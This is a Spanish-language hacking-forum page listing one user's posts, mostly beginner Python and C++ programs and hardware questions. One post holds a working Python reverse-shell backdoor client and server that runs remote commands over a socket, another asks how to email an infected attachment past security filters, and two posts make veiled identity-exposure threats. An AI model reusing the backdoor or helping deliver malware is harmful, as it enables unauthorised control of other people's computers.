Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - z0mb1es

#1
Tenía la duda de qué es lo que nuestra comunidad de *nix-based boys prefieren. Personalmente, me voy por Arch o por Gentoo por la gran libertad que tengo al instalar lo que quiero y solamente lo que quiero.

No puse Ubuntu bajo Debian, ya que sería redundante. Tampoco puse Manjaro, ya que de nuevo, sería redundante.

Saludos!
;D
#2
Hola camaradas, les vengo con un hilo pidiendo un poco de ayuda.

Ayer comencé con un curso de creación de backdoors desde cero usando Python y SOCKET como servidor y cliente. El servidor funciona de maravilla, pero tengo algunos problemas con el cliente.

Código: python
#!/usr/bin/python3
# _*_ coding: utf8 _*_

import socket
import subprocess
import os

def shell():
    current_dir = os.getcwd()
    client.send(current_dir)
    while True:
        res = client.recv(1024)
        if res == "exit":
            break
        else:
            proc = subprocess.Popen(res, shell = True, stdout = subprocess.PIPE,
                    stderr = subprocess.PIPE, stdin = subprocess.PIPE)
            result = proc.stdout.read() + proc.stderr.read()
            client.send(result)

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("192.168.1.93", 7777))
shell()
client.close()


Verán que estoy usando el socket AF_INET para establecer la conexión entre client-server. El código así, en teoría y respecto al curso que estoy viendo y leyendo, debería funcionar. Pero no. El error es al intentar establecer la conexión desde el cliente, el cuál da un error en la línea 23 (donde se ejecuta la función que crea la shell dentro del servidor) y dentro de la misma función en la línea 10 donde el objeto client() usa .send(current_dir) para enviar al servidor la conexión. Cuando cambio client.send(current_dir) a un print(current_dir) me muestra mi pwd (obviamente, ya que os.cwd es un 'p'rint'w'orking'd'irectory). Sin más dilaciones les muestro el error que me da Python:

Código: python
Traceback (most recent call last):
  File "client.py", line 25, in <module>
    shell()
  File "client.py", line 12, in shell
    client.send(current_dir)
TypeError: a bytes-like object is required, not 'str'


Y por si las dudas, también el código del servidor:

Código: python
#!/usr/bin/python3
#_*_ coding: utf8 _*_

import socket

def shell():
    current_dir = target.recv(1024)
    while True:
        command = input("{}/".format(current_dir))
        if command == "exit":
            target.send(command)
            break;
        else:
            target.send(command)
            res = target.recv(1024)
            print(res)

def aliveServer():
    global server
    global ip
    global target

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('192.168.1.93', 7777))
    server.listen(1)
    print("Listening in 192.168.1.106")
    target, ip = server.accept()
    print("Connection received in " + str(ip[0]))

aliveServer()
server.close()


También, estoy usando Arch Linux. Intenté hacer que el server-client funcionara entre una máquina Windows que tengo por aquí y mi Arch: no funcionó. Intenté hacerlo funcionar solamente dentro de mi máquina Windows: no funcionó. Pensé que quizás AF_INET no era el tipo de socket necesario para trabajar con máquinas *nix, por lo que intenté usar el socket AF_UNIX: resulta que este socket no crea conexiones entre máquinas, sino que entre aplicaciones dentro de máquinas o algo así, no entendí muy bien, pero el que necesito es AF_INET.

Por cierto:

Otra cosilla que puede ser un problema: el curso que estoy viendo y leyendo está escrito en Python 2.7, por lo cual he ido adaptándo el código a 3.8.5. Si el error es mío, por favor, díganme cual es para así solucionarlo.

Saludos.

[SOLUCIONADO]

tr0n por Discord me dijo que usara encode('utf8') dentro del command, y pues sirvió de maravilla.
#3
Joder Kirari, ticonpasan, vuestros códigos son... hermosos. De verdad, gracias por darme vuestras versiones de mi programa. A parte de poder apreciar vuestro código, aprendí algunas cosas que me ayudarán.

Saludos.
PD: Joder, es que de verdad, me he enamorado de vuestro código joder.
#4
Gracias por este aportazo compadre. Si esto fuera Taringa te daría +10.

Saludos.
#5
Hola amigos. Les vengo a dejar un pequeño código que creé hace unos días. La idea original era diseñar un algoritmo para hacer estas conversiones, pero la cabeza no me da para tanto :P. Quería compartir este código con ustedes porque en anteriores ocasiones me han ayudado a mejorarlo, me han dicho que cosas puedo cambiar para tener un código más optimizado, etcétera.

Aquí va:

Código: python
#!/usr/bin/python
import time
from os import system, name

def clear():
    if name == 'nt':
        _ = system('cls')
    else:
        _ = system('clear')

def bit2byte():
    x = int(input("Cuantos bits? "))
    y = x / 8
    print(str(y) + " es la cantidad de bytes en " + str(x) + " bits.")
    time.sleep(3)
    clear()
def kbyte2byte():
    x = int(input("Cuantos kilobytes? "))
    y = x * 1024
    print(str(y) + " es la cantidad de bytes en " + str(x) + " kilobytes.")
    time.sleep(3)
    clear()
def mbyte2kbyte():
    x = int(input("Cuantos megabytes? "))
    y = x * 1024
    print(str(y) + " es la cantidad de kilobytes en " + str(x) + " megabytes.")
    time.sleep(3)
    clear()
def gbyte2mbyte():
    x = int(input("Cuantos gigabytes? "))
    y = x * 1024
    print(str(y) + " es la cantidad de megabytes en " + str(x) + " gigabytes.")
    time.sleep(3)
    clear()
def tbyte2gbyte():
    x = int(input("Cuantos terabytes? "))
    y = x * 1024
    print(str(y) + " es la cantidad de gigabytes  en " + str(x) + " bits.")
    time.sleep(3)
    clear()

menu = """
[1] Convertir bits a bytes
[2] Convertir kilobytes a bytes
[3] Convertir megabytes a kilobytes
[4] Convertir gigabytes a megabytes
[5] Convertir terabytes a gigabytes
[6] Salir
"""

the = True
while the is  True:
    print(str(menu))
    opc = (input("Selecciona una opción: "))
    if opc == "1":
        bit2byte()
    elif opc == "2":
        kbyte2byte()
    elif opc == "3":
        mbyte2kbyte()
    elif opc == "4":
        gbyte2mbyte()
    elif opc == "5":
        tbyte2gbyte()
    elif opc == "6":
       
        print("\n\nHasta la próxima :)\n\n")
        break
        exit()   
    else:
        print("\nElije una opción valida.\n")
        time.sleep(0.4)
        clear()


Sé que está un poco desorganizado y planeo mejorarlo, claro está. Les muestro esto porque es digamos la versión alpha de este proyecto.

Saludos. ;D
#6
CitarLo que desea:

Bueno, pues básicamente lo que busco hacer no se podrá hacer. No me daré el tiempo de ir fuente por fuente asignando nombres y tamaños. Supongo que este editor simplemente no tendrá cambios de tipografía ;)
#7
Hola gente, vengo a hacerles una consulta.

Estos últimos días he estado trabajando en comenzar a escribir mis propios programas, para luego migrar a un sistema operativo limpio como arch y utilizar los programas salidos de mi mano. Bueno, este es un proyecto a largo plazo ya que mi experiencia en programación es bastante poca. El asunto es el siguiente:

En este momento me encuentro desarrollando un editor de texto. He añadido las funciones básicas, como nuevo archivo, abrir archivo, etcétera. El tema es que estoy buscando una manera de poder cambiar la fuente de mi caja de texto desde una función que va de la mano con un add_command. El tema es que no tengo idea de como hacerlo. He buscado en Google formas de hacer esto, pero no he encontrado nada. Solo cambian labels y eso lo hacen dentro del mismo código. Quiero que yo, como posible único usuario de este editor de texto, poder cambiar la tipografía del texto desde una ventana de askfont. Dejaré el código relacionado al tema.

Los Imports

Código: python
from tkinter import *
from tkinter import filedialog as fd
from tkinter import colorchooser as cchooser
from tkinter import messagebox as msgbox
from sys import platform
from tkinter.font import Font
from tkfontchooser import askfont


La función que creé para cambiar la fuente.

Código: python
def elegir_fuente():
    global ruta
    global mi_fuente
    mi_fuente = askfont(title = 'Elige una fuente:')
    texto.config(askfont())


El código de la caja de texto.

Código: python
texto = Text(root)
texto.pack(fill='both', expand=1)
texto.config(padx=6, pady=4, bd=0)


He pensado en hacer una variable antes de la función, hacer que la función asigne la fuente a la variable y que la variable vaya dentro de texto.config(...). No funcionó.

Seguiré buscando formas de hacerlo, hasta entonces esperaré su ayuda mientras yo busco soluciones.

Saludos.
#8
Python / Re:El final de Python 2.7
Abril 23, 2020, 04:48:08 PM
buah, yo que habia estado las ultimas semanas estudiando 2.x y hasta hace 3 días me vengo a dar cuenta de que esta versión está ya casi obsoleta  :-X y pues me he puesto a juguetear con las librerias tkinter en 3.x  ;D así comenzar a aprender 3.x jaja

saludos.
#9
Dudas y pedidos generales / Re:Calculadora en C++
Febrero 07, 2019, 03:19:50 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
aunque podrías utilizar un switch en vez de usar los ELSE IF

Se ve guapo eso de los switch, lo voy a ver rush. Gracias por el consejo<3
#10
Dudas y pedidos generales / Calculadora en C++
Febrero 07, 2019, 11:43:47 AM
Hola amigos de Underc0de. Esta vez, vengo con un proyecto bastante sencillo el cual me gustaría que me ayudaran a optimizar.

Estoy empezando en C++ (empecé hace relativamente 20 minutos), y me gustaría recibir algunos consejos de los ya conocedores de este lenguaje de programación.

Cuando aprendí a hacer programas donde mando un mensaje a la consola (cout<<) y recibir user input (cin>>), me puse la meta de hacer una calculadora.

Estuve alrededor de 10 minutos haciéndola, y me pareció un paseo por el parque sinceramente.
   
   
Código: cpp
#include <iostream>

using namespace std;

int main() {

int numero1;
int numero2;
char operacion;
char suma = '+';
char resta = '-';
char multi = '*';
char divi = '/';


cout<<"Digite un numero: ";
cin>>numero1;
cout<<"Digite otro numero: ";
cin>>numero2;
cout<<"Por ultimo, digite su operacion: ";
cin>>operacion;

if (operacion == suma) {
cout<<numero1 + numero2;
}
else if (operacion == resta) {
cout<<numero1 - numero2; }
else if (operacion == multi) {
cout<<numero1 * numero2; }
else if (operacion == divi) {
cout<<numero1 / numero2;
}


return 0;
}





Al principio tenía ciertos problemas con los estamentos IF, pero luego de leer un poco sobre ellos, los terminé entendiendo.

Tambien, si ven variables char con las operaciones aritméticas básicas, es porque no supe como hacer que el if pudiera compararse con chars.

AHORA ME ACABO DE DAR CUENTA DE QUE NO LOS PUSE EN COMILLAS SIMPLES, NI SIQUIERA EN COMILLAS DOBLES.

Lo acabo de probar y si funcionó.

Ahora si acabo de salvar bastante espacio en mi código, y este ya no se ve tan asqueroso como antes.

Código: cpp
#include <iostream>

using namespace std;

int main() {

int numero1;
int numero2;
char operacion;

cout<<"Digite un numero: ";
cin>>numero1;
cout<<"Digite otro numero: ";
cin>>numero2;
cout<<"Por ultimo, digite su operacion: ";
cin>>operacion;

if (operacion == '+') {
cout<<numero1 + numero2; }
else if (operacion == '-') {
cout<<numero1 - numero2; }
else if (operacion == '*') {
cout<<numero1 * numero2; }
else if (operacion == '/') {
cout<<numero1 / numero2; }


return 0;
}


Dejen sus consejos en las respuestas de esta publicación, me servirían bastante :)

saludos
:p
#11

hola, amigos de underc0de. venía a buscar ayuda.

quiero mandar un correo infectado pero en el archivo adjunto me muestra lo siguiente:

"Bloqueado por razones de seguridad"

os recuerdo que si vais a dar soluciones, que corran en linux ;)

Saludos.

:p
#12
Python / Creación de una Calculadora
Junio 17, 2018, 09:38:07 PM
ESTO NO ES UN TUTORIAL. ESTOY NARRANDO COMO ESCRIBO UNA CALCULADORA EN PYTHON. SI VIENES A APRENDER, SAL DE AQUÍ.

8:00PM

Con conocimientos terriblemente básicos de Python 2, me puse una pequeña meta:

¡CREAR UNA CALCULADORA!

Algo que para algunos programadores puede ser pan comido, a mi se me dificulta bastante.

Escribí las primeras líneas de código:
Código: python
# Primer intento de calculadora en Python.
# Necesitamos: raw_input, vars, defs, y una persona.

prompt = '> '

print "Hola! Bienvenido a la calculadora basica! \n"

print "Necesito que escribas dos numeros, y luego
num1 = raw_input(prompt)
num2 = raw_input(prompt)


Me dí cuenta de que era un jaleo hacerlo así, entonces borré todo y empecé de nuevo.

Código: python
def add(a, b):
return a + b
def sub(a, b):
return a - b
def mul(a, b):
return a * b
def div(a, b):
return a / b

prompt = '> '

print """Bienvenido a la calculadora basica.
Para usar esta calculadora, debes seleccionar dos numeros y al final elegir si quieres:
sumar (+), restar (-), multiplicar (*) o dividir (/)
"""

print "Ahora, debes seleccionar dos numeros."

a = raw_input(prompt)

print "Bien, el primer numero sera:", a

print "Y el segundo va a ser:"

b = raw_input(prompt)

print "Bien, el numero ", b


Había recordado uno de mis ejercicios anteriores, donde usaba operatoria de números entre def's y vars.

Pero ahora falta lo más importante:

¿COMO VAN A ELEGIR LAS OPERACIONES MATEMÁTICAS?

Bien, tendré que pensarlo un rato.

8:33PM

Creo que seguiré leyendo mi libro de Python, y cuando tenga algo, sigo con la calculadora.

saludos.

:p

#13
¿Porqué habéis borrado la respueste de ctrlAltSupr? Era tan divertida... el solo intentaba desenvolverse con los nuevos a través de Google Dorking. Sois unos pesaos. Os quiero.

Por otro lado, Saludos, Eduardo. Que la pases bien.

Saludos.

:p
#14
Citar¿Anonymous y su IRC? (z0mb1es).


??? ??? ???

Pequeños juegos, Randomize. Tu no te preocupes... el que debería preocuparse es otro, jeje.

Saludos.

:p
#15
Que divertido, te ví el otro día en el irc de anonymous.

Alguien pagó un precio por tu identidad, cuídate.

Saludos.

:p
#16
mi relación anterior fue como hacer un ddos con una botnet. fue excitante, pero cayó rápido.

saludos.

:p
#17
Off Topic / wh0ami?
Mayo 27, 2018, 12:13:22 PM


una película que no es surrealista con respecto al hacking. me gusta, y bastante.

#18
Ya lo conocía, pero me daba pereza descargarlo  :P

Usé las dos opciones del Nero; la rápida y la lenta. Ninguna funcionó.
Ya lo había dicho en mi ultimo mensaje xddd, creo que lo mejor será simplemente comprar otros CDs. 

Por ahora, solo jugaré al Jak and Dexter y al Syphon Filter xdddd.

Saludos, y gracias por los aportes que, aunque no hayan funcionado, me servirán para aprender.

:p
#19
Bueno, intento hacer el formateo a mano, no sé si cambie algo al usar un programa. Aunque si usé uno. Se llama imgburn. Ahora descargo Nero y lo pruebo.

Luego de instalar y abrir Nero...

Vaya, abrí el disco en el Nero y me muestra tres pistas de audio, que al parecer no se borran cuando formateo.
Intento borrar el disco desde Nero pero no me deja, dice que supuestamente el disco no es reescribible (aunque sea un disco RW).

Algo tendrán que ver esas tres pistas. Pista 01 pesa 128MB; Pista 02 pesa 1MB; Pista 03 tambien pesa 1MB.

¿Alguna solución?

Saludos.

:p
#20
Hola amigos, tengo un pequeño problema. He estado intentando formatear varios discos para jugar en mi PS2, porque me conseguí un control  ;D

Pasa que me tira este error cuando intento formatear un disco: "El disco está protegido contra escritura."

Intenté formatearlo desde diskpart, y nada. Modifiqué los registros y el editor de directivas (gpedit) y sigue sin funcionar. ¿Que puedo hacer? Mi sistema operativo es Windows 10. Gracias de antemano.

Saludos.

:p